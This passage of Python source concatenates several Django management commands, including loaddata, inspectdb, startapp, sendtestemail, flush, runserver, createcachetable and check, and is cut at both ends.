        parser.add_argument('args', metavar='fixture', nargs='+', help='Fixture labels.')
        parser.add_argument(
            '--database', action='store', dest='database', default=DEFAULT_DB_ALIAS,
            help='Nominates a specific database to load fixtures into. Defaults to the "default" database.',
        )
        parser.add_argument(
            '--app', action='store', dest='app_label', default=None,
            help='Only look for fixtures in the specified app.',
        )
        parser.add_argument(
            '--ignorenonexistent', '-i', action='store_true', dest='ignore', default=False,
            help='Ignores entries in the serialized data for fields that do not '
                 'currently exist on the model.',
        )
        parser.add_argument(
            '-e', '--exclude', dest='exclude', action='append', default=[],
            help='An app_label or app_label.ModelName to exclude. Can be used multiple times.',
        )

    def handle(self, *fixture_labels, **options):
        self.ignore = options['ignore']
        self.using = options['database']
        self.app_label = options['app_label']
        self.verbosity = options['verbosity']
        self.excluded_models, self.excluded_apps = parse_apps_and_model_labels(options['exclude'])

        with transaction.atomic(using=self.using):
            self.loaddata(fixture_labels)

        # Close the DB connection -- unless we're still in a transaction. This
        # is required as a workaround for an  edge case in MySQL: if the same
        # connection is used to create tables, load data, and query, the query
        # can return incorrect results. See Django #7572, MySQL #37735.
        if transaction.get_autocommit(self.using):
            connections[self.using].close()

    def loaddata(self, fixture_labels):
        connection = connections[self.using]

        # Keep a count of the installed objects and fixtures
        self.fixture_count = 0
        self.loaded_object_count = 0
        self.fixture_object_count = 0
        self.models = set()

        self.serialization_formats = serializers.get_public_serializer_formats()
        # Forcing binary mode may be revisited after dropping Python 2 support (see #22399)
        self.compression_formats = {
            None: (open, 'rb'),
            'gz': (gzip.GzipFile, 'rb'),
            'zip': (SingleZipReader, 'r'),
        }
        if has_bz2:
            self.compression_formats['bz2'] = (bz2.BZ2File, 'r')

        # Django's test suite repeatedly tries to load initial_data fixtures
        # from apps that don't have any fixtures. Because disabling constraint
        # checks can be expensive on some database (especially MSSQL), bail
        # out early if no fixtures are found.
        for fixture_label in fixture_labels:
            if self.find_fixtures(fixture_label):
                break
        else:
            return

        with connection.constraint_checks_disabled():
            for fixture_label in fixture_labels:
                self.load_label(fixture_label)

        # Since we disabled constraint checks, we must manually check for
        # any invalid keys that might have been added
        table_names = [model._meta.db_table for model in self.models]
        try:
            connection.check_constraints(table_names=table_names)
        except Exception as e:
            e.args = ("Problem installing fixtures: %s" % e,)
            raise

        # If we found even one object in a fixture, we need to reset the
        # database sequences.
        if self.loaded_object_count > 0:
            sequence_sql = connection.ops.sequence_reset_sql(no_style(), self.models)
            if sequence_sql:
                if self.verbosity >= 2:
                    self.stdout.write("Resetting sequences\n")
                with connection.cursor() as cursor:
                    for line in sequence_sql:
                        cursor.execute(line)

        if self.verbosity >= 1:
            if self.fixture_object_count == self.loaded_object_count:
                self.stdout.write(
                    "Installed %d object(s) from %d fixture(s)"
                    % (self.loaded_object_count, self.fixture_count)
                )
            else:
                self.stdout.write(
                    "Installed %d object(s) (of %d) from %d fixture(s)"
                    % (self.loaded_object_count, self.fixture_object_count, self.fixture_count)
                )

    def load_label(self, fixture_label):
        """
        Loads fixtures files for a given label.
        """
        show_progress = self.verbosity >= 3
        for fixture_file, fixture_dir, fixture_name in self.find_fixtures(fixture_label):
            _, ser_fmt, cmp_fmt = self.parse_name(os.path.basename(fixture_file))
            open_method, mode = self.compression_formats[cmp_fmt]
            fixture = open_method(fixture_file, mode)
            try:
                self.fixture_count += 1
                objects_in_fixture = 0
                loaded_objects_in_fixture = 0
                if self.verbosity >= 2:
                    self.stdout.write(
                        "Installing %s fixture '%s' from %s."
                        % (ser_fmt, fixture_name, humanize(fixture_dir))
                    )

                objects = serializers.deserialize(
                    ser_fmt, fixture, using=self.using, ignorenonexistent=self.ignore,
                )

                for obj in objects:
                    objects_in_fixture += 1
                    if (obj.object._meta.app_config in self.excluded_apps or
                            type(obj.object) in self.excluded_models):
                        continue
                    if router.allow_migrate_model(self.using, obj.object.__class__):
                        loaded_objects_in_fixture += 1
                        self.models.add(obj.object.__class__)
                        try:
                            obj.save(using=self.using)
                            if show_progress:
                                self.stdout.write(
                                    '\rProcessed %i object(s).' % loaded_objects_in_fixture,
                                    ending=''
                                )
                        except (DatabaseError, IntegrityError) as e:
                            e.args = ("Could not load %(app_label)s.%(object_name)s(pk=%(pk)s): %(error_msg)s" % {
                                'app_label': obj.object._meta.app_label,
                                'object_name': obj.object._meta.object_name,
                                'pk': obj.object.pk,
                                'error_msg': force_text(e)
                            },)
                            raise
                if objects and show_progress:
                    self.stdout.write('')  # add a newline after progress indicator
                self.loaded_object_count += loaded_objects_in_fixture
                self.fixture_object_count += objects_in_fixture
            except Exception as e:
                if not isinstance(e, CommandError):
                    e.args = ("Problem installing fixture '%s': %s" % (fixture_file, e),)
                raise
            finally:
                fixture.close()

            # Warn if the fixture we loaded contains 0 objects.
            if objects_in_fixture == 0:
                warnings.warn(
                    "No fixture data found for '%s'. (File format may be "
                    "invalid.)" % fixture_name,
                    RuntimeWarning
                )

    @lru_cache.lru_cache(maxsize=None)
    def find_fixtures(self, fixture_label):
        """
        Finds fixture files for a given label.
        """
        fixture_name, ser_fmt, cmp_fmt = self.parse_name(fixture_label)
        databases = [self.using, None]
        cmp_fmts = list(self.compression_formats.keys()) if cmp_fmt is None else [cmp_fmt]
        ser_fmts = serializers.get_public_serializer_formats() if ser_fmt is None else [ser_fmt]

        if self.verbosity >= 2:
            self.stdout.write("Loading '%s' fixtures..." % fixture_name)

        if os.path.isabs(fixture_name):
            fixture_dirs = [os.path.dirname(fixture_name)]
            fixture_name = os.path.basename(fixture_name)
        else:
            fixture_dirs = self.fixture_dirs
            if os.path.sep in os.path.normpath(fixture_name):
                fixture_dirs = [os.path.join(dir_, os.path.dirname(fixture_name))
                                for dir_ in fixture_dirs]
                fixture_name = os.path.basename(fixture_name)

        suffixes = (
            '.'.join(ext for ext in combo if ext)
            for combo in product(databases, ser_fmts, cmp_fmts)
        )
        targets = set('.'.join((fixture_name, suffix)) for suffix in suffixes)

        fixture_files = []
        for fixture_dir in fixture_dirs:
            if self.verbosity >= 2:
                self.stdout.write("Checking %s for fixtures..." % humanize(fixture_dir))
            fixture_files_in_dir = []
            path = os.path.join(fixture_dir, fixture_name)
            for candidate in glob.iglob(glob_escape(path) + '*'):
                if os.path.basename(candidate) in targets:
                    # Save the fixture_dir and fixture_name for future error messages.
                    fixture_files_in_dir.append((candidate, fixture_dir, fixture_name))

            if self.verbosity >= 2 and not fixture_files_in_dir:
                self.stdout.write("No fixture '%s' in %s." %
                                  (fixture_name, humanize(fixture_dir)))

            # Check kept for backwards-compatibility; it isn't clear why
            # duplicates are only allowed in different directories.
            if len(fixture_files_in_dir) > 1:
                raise CommandError(
                    "Multiple fixtures named '%s' in %s. Aborting." %
                    (fixture_name, humanize(fixture_dir)))
            fixture_files.extend(fixture_files_in_dir)

        if not fixture_files:
            raise CommandError("No fixture named '%s' found." % fixture_name)

        return fixture_files

    @cached_property
    def fixture_dirs(self):
        """
        Return a list of fixture directories.

        The list contains the 'fixtures' subdirectory of each installed
        application, if it exists, the directories in FIXTURE_DIRS, and the
        current directory.
        """
        dirs = []
        fixture_dirs = settings.FIXTURE_DIRS
        if len(fixture_dirs) != len(set(fixture_dirs)):
            raise ImproperlyConfigured("settings.FIXTURE_DIRS contains duplicates.")
        for app_config in apps.get_app_configs():
            app_label = app_config.label
            app_dir = os.path.join(app_config.path, 'fixtures')
            if app_dir in fixture_dirs:
                raise ImproperlyConfigured(
                    "'%s' is a default fixture directory for the '%s' app "
                    "and cannot be listed in settings.FIXTURE_DIRS." % (app_dir, app_label)
                )

            if self.app_label and app_label != self.app_label:
                continue
            if os.path.isdir(app_dir):
                dirs.append(app_dir)
        dirs.extend(list(fixture_dirs))
        dirs.append('')
        dirs = [upath(os.path.abspath(os.path.realpath(d))) for d in dirs]
        return dirs

    def parse_name(self, fixture_name):
        """
        Splits fixture name in name, serialization format, compression format.
        """
        parts = fixture_name.rsplit('.', 2)

        if len(parts) > 1 and parts[-1] in self.compression_formats:
            cmp_fmt = parts[-1]
            parts = parts[:-1]
        else:
            cmp_fmt = None

        if len(parts) > 1:
            if parts[-1] in self.serialization_formats:
                ser_fmt = parts[-1]
                parts = parts[:-1]
            else:
                raise CommandError(
                    "Problem installing fixture '%s': %s is not a known "
                    "serialization format." % (''.join(parts[:-1]), parts[-1]))
        else:
            ser_fmt = None

        name = '.'.join(parts)

        return name, ser_fmt, cmp_fmt


class SingleZipReader(zipfile.ZipFile):

    def __init__(self, *args, **kwargs):
        zipfile.ZipFile.__init__(self, *args, **kwargs)
        if len(self.namelist()) != 1:
            raise ValueError("Zip-compressed fixtures must contain one file.")

    def read(self):
        return zipfile.ZipFile.read(self, self.namelist()[0])


def humanize(dirname):
    return "'%s'" % dirname if dirname else 'absolute path'






from __future__ import unicode_literals

import keyword
import re
from collections import OrderedDict

from django.core.management.base import BaseCommand, CommandError
from django.db import DEFAULT_DB_ALIAS, connections
from django.utils.encoding import force_text


class Command(BaseCommand):
    help = "Introspects the database tables in the given database and outputs a Django model module."

    requires_system_checks = False

    db_module = 'django.db'

    def add_arguments(self, parser):
        parser.add_argument(
            'table', action='store', nargs='*', type=str,
            help='Selects what tables or views should be introspected.',
        )
        parser.add_argument(
            '--database', action='store', dest='database', default=DEFAULT_DB_ALIAS,
            help='Nominates a database to introspect. Defaults to using the "default" database.',
        )

    def handle(self, **options):
        try:
            for line in self.handle_inspection(options):
                self.stdout.write("%s\n" % line)
        except NotImplementedError:
            raise CommandError("Database inspection isn't supported for the currently selected database backend.")

    def handle_inspection(self, options):
        connection = connections[options['database']]
        # 'table_name_filter' is a stealth option
        table_name_filter = options.get('table_name_filter')

        def table2model(table_name):
            return re.sub(r'[^a-zA-Z0-9]', '', table_name.title())

        def strip_prefix(s):
            return s[1:] if s.startswith("u'") else s

        with connection.cursor() as cursor:
            yield "# This is an auto-generated Django model module."
            yield "# You'll have to do the following manually to clean this up:"
            yield "#   * Rearrange models' order"
            yield "#   * Make sure each model has one field with primary_key=True"
            yield "#   * Make sure each ForeignKey has `on_delete` set to the desired behavior."
            yield (
                "#   * Remove `managed = False` lines if you wish to allow "
                "Django to create, modify, and delete the table"
            )
            yield "# Feel free to rename the models, but don't rename db_table values or field names."
            yield "from __future__ import unicode_literals"
            yield ''
            yield 'from %s import models' % self.db_module
            known_models = []
            tables_to_introspect = options['table'] or connection.introspection.table_names(cursor)

            for table_name in tables_to_introspect:
                if table_name_filter is not None and callable(table_name_filter):
                    if not table_name_filter(table_name):
                        continue
                try:
                    try:
                        relations = connection.introspection.get_relations(cursor, table_name)
                    except NotImplementedError:
                        relations = {}
                    try:
                        indexes = connection.introspection.get_indexes(cursor, table_name)
                    except NotImplementedError:
                        indexes = {}
                    try:
                        constraints = connection.introspection.get_constraints(cursor, table_name)
                    except NotImplementedError:
                        constraints = {}
                    table_description = connection.introspection.get_table_description(cursor, table_name)
                except Exception as e:
                    yield "# Unable to inspect table '%s'" % table_name
                    yield "# The error was: %s" % force_text(e)
                    continue

                yield ''
                yield ''
                yield 'class %s(models.Model):' % table2model(table_name)
                known_models.append(table2model(table_name))
                used_column_names = []  # Holds column names used in the table so far
                column_to_field_name = {}  # Maps column names to names of model fields
                for row in table_description:
                    comment_notes = []  # Holds Field notes, to be displayed in a Python comment.
                    extra_params = OrderedDict()  # Holds Field parameters such as 'db_column'.
                    column_name = row[0]
                    is_relation = column_name in relations

                    att_name, params, notes = self.normalize_col_name(
                        column_name, used_column_names, is_relation)
                    extra_params.update(params)
                    comment_notes.extend(notes)

                    used_column_names.append(att_name)
                    column_to_field_name[column_name] = att_name

                    # Add primary_key and unique, if necessary.
                    if column_name in indexes:
                        if indexes[column_name]['primary_key']:
                            extra_params['primary_key'] = True
                        elif indexes[column_name]['unique']:
                            extra_params['unique'] = True

                    if is_relation:
                        rel_to = (
                            "self" if relations[column_name][1] == table_name
                            else table2model(relations[column_name][1])
                        )
                        if rel_to in known_models:
                            field_type = 'ForeignKey(%s' % rel_to
                        else:
                            field_type = "ForeignKey('%s'" % rel_to
                    else:
                        # Calling `get_field_type` to get the field type string and any
                        # additional parameters and notes.
                        field_type, field_params, field_notes = self.get_field_type(connection, table_name, row)
                        extra_params.update(field_params)
                        comment_notes.extend(field_notes)

                        field_type += '('

                    # Don't output 'id = meta.AutoField(primary_key=True)', because
                    # that's assumed if it doesn't exist.
                    if att_name == 'id' and extra_params == {'primary_key': True}:
                        if field_type == 'AutoField(':
                            continue
                        elif field_type == 'IntegerField(' and not connection.features.can_introspect_autofield:
                            comment_notes.append('AutoField?')

                    # Add 'null' and 'blank', if the 'null_ok' flag was present in the
                    # table description.
                    if row[6]:  # If it's NULL...
                        if field_type == 'BooleanField(':
                            field_type = 'NullBooleanField('
                        else:
                            extra_params['blank'] = True
                            extra_params['null'] = True

                    field_desc = '%s = %s%s' % (
                        att_name,
                        # Custom fields will have a dotted path
                        '' if '.' in field_type else 'models.',
                        field_type,
                    )
                    if field_type.startswith('ForeignKey('):
                        field_desc += ', models.DO_NOTHING'

                    if extra_params:
                        if not field_desc.endswith('('):
                            field_desc += ', '
                        field_desc += ', '.join(
                            '%s=%s' % (k, strip_prefix(repr(v)))
                            for k, v in extra_params.items())
                    field_desc += ')'
                    if comment_notes:
                        field_desc += '  # ' + ' '.join(comment_notes)
                    yield '    %s' % field_desc
                for meta_line in self.get_meta(table_name, constraints, column_to_field_name):
                    yield meta_line

    def normalize_col_name(self, col_name, used_column_names, is_relation):
        """
        Modify the column name to make it Python-compatible as a field name
        """
        field_params = {}
        field_notes = []

        new_name = col_name.lower()
        if new_name != col_name:
            field_notes.append('Field name made lowercase.')

        if is_relation:
            if new_name.endswith('_id'):
                new_name = new_name[:-3]
            else:
                field_params['db_column'] = col_name

        new_name, num_repl = re.subn(r'\W', '_', new_name)
        if num_repl > 0:
            field_notes.append('Field renamed to remove unsuitable characters.')

        if new_name.find('__') >= 0:
            while new_name.find('__') >= 0:
                new_name = new_name.replace('__', '_')
            if col_name.lower().find('__') >= 0:
                # Only add the comment if the double underscore was in the original name
                field_notes.append("Field renamed because it contained more than one '_' in a row.")

        if new_name.startswith('_'):
            new_name = 'field%s' % new_name
            field_notes.append("Field renamed because it started with '_'.")

        if new_name.endswith('_'):
            new_name = '%sfield' % new_name
            field_notes.append("Field renamed because it ended with '_'.")

        if keyword.iskeyword(new_name):
            new_name += '_field'
            field_notes.append('Field renamed because it was a Python reserved word.')

        if new_name[0].isdigit():
            new_name = 'number_%s' % new_name
            field_notes.append("Field renamed because it wasn't a valid Python identifier.")

        if new_name in used_column_names:
            num = 0
            while '%s_%d' % (new_name, num) in used_column_names:
                num += 1
            new_name = '%s_%d' % (new_name, num)
            field_notes.append('Field renamed because of name conflict.')

        if col_name != new_name and field_notes:
            field_params['db_column'] = col_name

        return new_name, field_params, field_notes

    def get_field_type(self, connection, table_name, row):
        """
        Given the database connection, the table name, and the cursor row
        description, this routine will return the given field type name, as
        well as any additional keyword parameters and notes for the field.
        """
        field_params = OrderedDict()
        field_notes = []

        try:
            field_type = connection.introspection.get_field_type(row[1], row)
        except KeyError:
            field_type = 'TextField'
            field_notes.append('This field type is a guess.')

        # This is a hook for data_types_reverse to return a tuple of
        # (field_type, field_params_dict).
        if type(field_type) is tuple:
            field_type, new_params = field_type
            field_params.update(new_params)

        # Add max_length for all CharFields.
        if field_type == 'CharField' and row[3]:
            field_params['max_length'] = int(row[3])

        if field_type == 'DecimalField':
            if row[4] is None or row[5] is None:
                field_notes.append(
                    'max_digits and decimal_places have been guessed, as this '
                    'database handles decimal fields as float')
                field_params['max_digits'] = row[4] if row[4] is not None else 10
                field_params['decimal_places'] = row[5] if row[5] is not None else 5
            else:
                field_params['max_digits'] = row[4]
                field_params['decimal_places'] = row[5]

        return field_type, field_params, field_notes

    def get_meta(self, table_name, constraints, column_to_field_name):
        """
        Return a sequence comprising the lines of code necessary
        to construct the inner Meta class for the model corresponding
        to the given database table name.
        """
        unique_together = []
        for index, params in constraints.items():
            if params['unique']:
                columns = params['columns']
                if len(columns) > 1:
                    # we do not want to include the u"" or u'' prefix
                    # so we build the string rather than interpolate the tuple
                    tup = '(' + ', '.join("'%s'" % column_to_field_name[c] for c in columns) + ')'
                    unique_together.append(tup)
        meta = ["",
                "    class Meta:",
                "        managed = False",
                "        db_table = '%s'" % table_name]
        if unique_together:
            tup = '(' + ', '.join(unique_together) + ',)'
            meta += ["        unique_together = %s" % tup]
        return meta






from importlib import import_module

from django.core.management.base import CommandError
from django.core.management.templates import TemplateCommand


class Command(TemplateCommand):
    help = (
        "Creates a Django app directory structure for the given app name in "
        "the current directory or optionally in the given directory."
    )
    missing_args_message = "You must provide an application name."

    def handle(self, **options):
        app_name, target = options.pop('name'), options.pop('directory')
        self.validate_name(app_name, "app")

        # Check that the app_name cannot be imported.
        try:
            import_module(app_name)
        except ImportError:
            pass
        else:
            raise CommandError(
                "%r conflicts with the name of an existing Python module and "
                "cannot be used as an app name. Please try another name." % app_name
            )

        super(Command, self).handle('app', app_name, target, **options)












import socket

from django.core.mail import mail_admins, mail_managers, send_mail
from django.core.management.base import BaseCommand
from django.utils import timezone


class Command(BaseCommand):
    help = "Sends a test email to the email addresses specified as arguments."
    missing_args_message = "You must specify some email recipients, or pass the --managers or --admin options."

    def add_arguments(self, parser):
        parser.add_argument(
            'email', nargs='*',
            help='One or more email addresses to send a test email to.',
        )
        parser.add_argument(
            '--managers', action='store_true', dest='managers', default=False,
            help='Send a test email to the addresses specified in settings.MANAGERS.',
        )
        parser.add_argument(
            '--admins', action='store_true', dest='admins', default=False,
            help='Send a test email to the addresses specified in settings.ADMINS.',
        )

    def handle(self, *args, **kwargs):
        subject = 'Test email from %s on %s' % (socket.gethostname(), timezone.now())

        send_mail(
            subject=subject,
            message="If you\'re reading this, it was successful.",
            from_email=None,
            recipient_list=kwargs['email'],
        )

        if kwargs['managers']:
            mail_managers(subject, "This email was sent to the site managers.")

        if kwargs['admins']:
            mail_admins(subject, "This email was sent to the site admins.")






from __future__ import unicode_literals

import sys
from importlib import import_module

from django.apps import apps
from django.core.management.base import BaseCommand, CommandError
from django.core.management.color import no_style
from django.core.management.sql import emit_post_migrate_signal, sql_flush
from django.db import DEFAULT_DB_ALIAS, connections, transaction
from django.utils import six
from django.utils.six.moves import input


class Command(BaseCommand):
    help = (
        'Removes ALL DATA from the database, including data added during '
        'migrations. Does not achieve a "fresh install" state.'
    )

    def add_arguments(self, parser):
        parser.add_argument(
            '--noinput', '--no-input',
            action='store_false', dest='interactive', default=True,
            help='Tells Django to NOT prompt the user for input of any kind.',
        )
        parser.add_argument(
            '--database', action='store', dest='database', default=DEFAULT_DB_ALIAS,
            help='Nominates a database to flush. Defaults to the "default" database.',
        )

    def handle(self, **options):
        database = options['database']
        connection = connections[database]
        verbosity = options['verbosity']
        interactive = options['interactive']
        # The following are stealth options used by Django's internals.
        reset_sequences = options.get('reset_sequences', True)
        allow_cascade = options.get('allow_cascade', False)
        inhibit_post_migrate = options.get('inhibit_post_migrate', False)

        self.style = no_style()

        # Import the 'management' module within each installed app, to register
        # dispatcher events.
        for app_config in apps.get_app_configs():
            try:
                import_module('.management', app_config.name)
            except ImportError:
                pass

        sql_list = sql_flush(self.style, connection, only_django=True,
                             reset_sequences=reset_sequences,
                             allow_cascade=allow_cascade)

        if interactive:
            confirm = input("""You have requested a flush of the database.
This will IRREVERSIBLY DESTROY all data currently in the %r database,
and return each table to an empty state.
Are you sure you want to do this?

    Type 'yes' to continue, or 'no' to cancel: """ % connection.settings_dict['NAME'])
        else:
            confirm = 'yes'

        if confirm == 'yes':
            try:
                with transaction.atomic(using=database,
                                        savepoint=connection.features.can_rollback_ddl):
                    with connection.cursor() as cursor:
                        for sql in sql_list:
                            cursor.execute(sql)
            except Exception as e:
                new_msg = (
                    "Database %s couldn't be flushed. Possible reasons:\n"
                    "  * The database isn't running or isn't configured correctly.\n"
                    "  * At least one of the expected database tables doesn't exist.\n"
                    "  * The SQL was invalid.\n"
                    "Hint: Look at the output of 'django-admin sqlflush'. "
                    "That's the SQL this command wasn't able to run.\n"
                    "The full error: %s") % (connection.settings_dict['NAME'], e)
                six.reraise(CommandError, CommandError(new_msg), sys.exc_info()[2])

            # Empty sql_list may signify an empty database and post_migrate would then crash
            if sql_list and not inhibit_post_migrate:
                # Emit the post migrate signal. This allows individual applications to
                # respond as if the database had been migrated from scratch.
                emit_post_migrate_signal(verbosity, interactive, database)
        else:
            self.stdout.write("Flush cancelled.\n")






from __future__ import unicode_literals

import errno
import os
import re
import socket
import sys
from datetime import datetime

from django.conf import settings
from django.core.management.base import BaseCommand, CommandError
from django.core.servers.basehttp import get_internal_wsgi_application, run
from django.utils import autoreload, six
from django.utils.encoding import force_text, get_system_encoding


naiveip_re = re.compile(r"""^(?:
(?P<addr>
    (?P<ipv4>\d{1,3}(?:\.\d{1,3}){3}) |         # IPv4 address
    (?P<ipv6>\[[a-fA-F0-9:]+\]) |               # IPv6 address
    (?P<fqdn>[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*) # FQDN
):)?(?P<port>\d+)$""", re.X)


class Command(BaseCommand):
    help = "Starts a lightweight Web server for development."

    # Validation is called explicitly each time the server is reloaded.
    requires_system_checks = False
    leave_locale_alone = True

    default_port = '8000'

    def add_arguments(self, parser):
        parser.add_argument(
            'addrport', nargs='?',
            help='Optional port number, or ipaddr:port'
        )
        parser.add_argument(
            '--ipv6', '-6', action='store_true', dest='use_ipv6', default=False,
            help='Tells Django to use an IPv6 address.',
        )
        parser.add_argument(
            '--nothreading', action='store_false', dest='use_threading', default=True,
            help='Tells Django to NOT use threading.',
        )
        parser.add_argument(
            '--noreload', action='store_false', dest='use_reloader', default=True,
            help='Tells Django to NOT use the auto-reloader.',
        )

    def execute(self, *args, **options):
        if options['no_color']:
            # We rely on the environment because it's currently the only
            # way to reach WSGIRequestHandler. This seems an acceptable
            # compromise considering `runserver` runs indefinitely.
            os.environ[str("DJANGO_COLORS")] = str("nocolor")
        super(Command, self).execute(*args, **options)

    def get_handler(self, *args, **options):
        """
        Returns the default WSGI handler for the runner.
        """
        return get_internal_wsgi_application()

    def handle(self, *args, **options):
        from django.conf import settings

        if not settings.DEBUG and not settings.ALLOWED_HOSTS:
            raise CommandError('You must set settings.ALLOWED_HOSTS if DEBUG is False.')

        self.use_ipv6 = options['use_ipv6']
        if self.use_ipv6 and not socket.has_ipv6:
            raise CommandError('Your Python does not support IPv6.')
        self._raw_ipv6 = False
        if not options['addrport']:
            self.addr = ''
            self.port = self.default_port
        else:
            m = re.match(naiveip_re, options['addrport'])
            if m is None:
                raise CommandError('"%s" is not a valid port number '
                                   'or address:port pair.' % options['addrport'])
            self.addr, _ipv4, _ipv6, _fqdn, self.port = m.groups()
            if not self.port.isdigit():
                raise CommandError("%r is not a valid port number." % self.port)
            if self.addr:
                if _ipv6:
                    self.addr = self.addr[1:-1]
                    self.use_ipv6 = True
                    self._raw_ipv6 = True
                elif self.use_ipv6 and not _fqdn:
                    raise CommandError('"%s" is not a valid IPv6 address.' % self.addr)
        if not self.addr:
            self.addr = '::1' if self.use_ipv6 else '127.0.0.1'
            self._raw_ipv6 = self.use_ipv6
        self.run(**options)

    def run(self, **options):
        """
        Runs the server, using the autoreloader if needed
        """
        use_reloader = options['use_reloader']

        if use_reloader:
            autoreload.main(self.inner_run, None, options)
        else:
            self.inner_run(None, **options)

    def inner_run(self, *args, **options):
        # If an exception was silenced in ManagementUtility.execute in order
        # to be raised in the child process, raise it now.
        autoreload.raise_last_exception()

        threading = options['use_threading']
        # 'shutdown_message' is a stealth option.
        shutdown_message = options.get('shutdown_message', '')
        quit_command = 'CTRL-BREAK' if sys.platform == 'win32' else 'CONTROL-C'

        self.stdout.write("Performing system checks...\n\n")
        self.check(display_num_errors=True)
        # Need to check migrations here, so can't use the
        # requires_migrations_check attribute.
        self.check_migrations()
        now = datetime.now().strftime('%B %d, %Y - %X')
        if six.PY2:
            now = now.decode(get_system_encoding())
        self.stdout.write(now)
        self.stdout.write((
            "Django version %(version)s, using settings %(settings)r\n"
            "Starting development server at http://%(addr)s:%(port)s/\n"
            "Quit the server with %(quit_command)s.\n"
        ) % {
            "version": self.get_version(),
            "settings": settings.SETTINGS_MODULE,
            "addr": '[%s]' % self.addr if self._raw_ipv6 else self.addr,
            "port": self.port,
            "quit_command": quit_command,
        })

        try:
            handler = self.get_handler(*args, **options)
            run(self.addr, int(self.port), handler,
                ipv6=self.use_ipv6, threading=threading)
        except socket.error as e:
            # Use helpful error messages instead of ugly tracebacks.
            ERRORS = {
                errno.EACCES: "You don't have permission to access that port.",
                errno.EADDRINUSE: "That port is already in use.",
                errno.EADDRNOTAVAIL: "That IP address can't be assigned to.",
            }
            try:
                error_text = ERRORS[e.errno]
            except KeyError:
                error_text = force_text(e)
            self.stderr.write("Error: %s" % error_text)
            # Need to use an OS exit because sys.exit doesn't work in a thread
            os._exit(1)
        except KeyboardInterrupt:
            if shutdown_message:
                self.stdout.write(shutdown_message)
            sys.exit(0)

# Kept for backward compatibility
BaseRunserverCommand = Command






from django.conf import settings
from django.core.cache import caches
from django.core.cache.backends.db import BaseDatabaseCache
from django.core.management.base import BaseCommand, CommandError
from django.db import (
    DEFAULT_DB_ALIAS, connections, models, router, transaction,
)
from django.db.utils import DatabaseError
from django.utils.encoding import force_text


class Command(BaseCommand):
    help = "Creates the tables needed to use the SQL cache backend."

    requires_system_checks = False

    def add_arguments(self, parser):
        parser.add_argument(
            'args', metavar='table_name', nargs='*',
            help='Optional table names. Otherwise, settings.CACHES is used to find cache tables.',
        )
        parser.add_argument(
            '--database', action='store', dest='database',
            default=DEFAULT_DB_ALIAS,
            help='Nominates a database onto which the cache tables will be '
                 'installed. Defaults to the "default" database.',
        )
        parser.add_argument(
            '--dry-run', action='store_true', dest='dry_run',
            help='Does not create the table, just prints the SQL that would be run.',
        )

    def handle(self, *tablenames, **options):
        db = options['database']
        self.verbosity = options['verbosity']
        dry_run = options['dry_run']
        if len(tablenames):
            # Legacy behavior, tablename specified as argument
            for tablename in tablenames:
                self.create_table(db, tablename, dry_run)
        else:
            for cache_alias in settings.CACHES:
                cache = caches[cache_alias]
                if isinstance(cache, BaseDatabaseCache):
                    self.create_table(db, cache._table, dry_run)

    def create_table(self, database, tablename, dry_run):
        cache = BaseDatabaseCache(tablename, {})
        if not router.allow_migrate_model(database, cache.cache_model_class):
            return
        connection = connections[database]

        if tablename in connection.introspection.table_names():
            if self.verbosity > 0:
                self.stdout.write("Cache table '%s' already exists." % tablename)
            return

        fields = (
            # "key" is a reserved word in MySQL, so use "cache_key" instead.
            models.CharField(name='cache_key', max_length=255, unique=True, primary_key=True),
            models.TextField(name='value'),
            models.DateTimeField(name='expires', db_index=True),
        )
        table_output = []
        index_output = []
        qn = connection.ops.quote_name
        for f in fields:
            field_output = [
                qn(f.name),
                f.db_type(connection=connection),
                '%sNULL' % ('NOT ' if not f.null else ''),
            ]
            if f.primary_key:
                field_output.append("PRIMARY KEY")
            elif f.unique:
                field_output.append("UNIQUE")
            if f.db_index:
                unique = "UNIQUE " if f.unique else ""
                index_output.append(
                    "CREATE %sINDEX %s ON %s (%s);" %
                    (unique, qn('%s_%s' % (tablename, f.name)), qn(tablename), qn(f.name))
                )
            table_output.append(" ".join(field_output))
        full_statement = ["CREATE TABLE %s (" % qn(tablename)]
        for i, line in enumerate(table_output):
            full_statement.append('    %s%s' % (line, ',' if i < len(table_output) - 1 else ''))
        full_statement.append(');')

        full_statement = "\n".join(full_statement)

        if dry_run:
            self.stdout.write(full_statement)
            for statement in index_output:
                self.stdout.write(statement)
            return

        with transaction.atomic(using=database, savepoint=connection.features.can_rollback_ddl):
            with connection.cursor() as curs:
                try:
                    curs.execute(full_statement)
                except DatabaseError as e:
                    raise CommandError(
                        "Cache table '%s' could not be created.\nThe error was: %s." %
                        (tablename, force_text(e)))
                for statement in index_output:
                    curs.execute(statement)

        if self.verbosity > 1:
            self.stdout.write("Cache table '%s' created." % tablename)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.apps import apps
from django.core import checks
from django.core.checks.registry import registry
from django.core.management.base import BaseCommand, CommandError


class Command(BaseCommand):
    help = "Checks the entire Django project for potential problems."

    requires_system_checks = False

    def add_arguments(self, parser):
        parser.add_argument('args', metavar='app_label', nargs='*')
        parser.add_argument(
            '--tag', '-t', action='append', dest='tags',
            help='Run only checks labeled with given tag.',
        )
        parser.add_argument(
            '--list-tags', action='store_true', dest='list_tags',
            help='List available tags.',
        )
        parser.add_argument(
            '--deploy', action='store_true', dest='deploy',
            help='Check deployment settings.',
        )
        parser.add_argument(
            '--fail-level',
            default='ERROR',
            choices=['CRITICAL', 'ERROR', 'WARNING', 'INFO', 'DEBUG'],
            dest='fail_level',
            help=(
                'Message level that will cause the command to exit with a '
                'non-zero status. Default is ERROR.'
            ),
        )

    def handle(self, *app_labels, **options):
        include_deployment_checks = options['deploy']
        if options['list_tags']:
            self.stdout.write('\n'.join(sorted(registry.tags_available(include_deployment_checks))))
            return

        if app_labels:
            app_configs = [apps.get_app_config(app_label) for app_label in app_labels]
        else:
            app_configs = None

        tags = options['tags']
        if tags:
            try:
                invalid_tag = next(
                    tag for tag in tags if not checks.tag_exists(tag, include_deployment_checks)
                )
            except StopIteration:
                # no invalid tags
                pass
            else:
                raise CommandError('There is no system check with the "%s" tag.' % invalid_tag)

        self.check(
            app_configs=app_configs,
            tags=tags,
            display_num_errors=True,
            include_deployment_checks=include_deployment_checks,
            fail_level=getattr(checks, options['fail_level']),
        )






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.core.management.base import BaseCommand, CommandError
from django.db import DEFAULT_DB_ALIAS, connections
from django.db.migrations.executor import MigrationExecutor
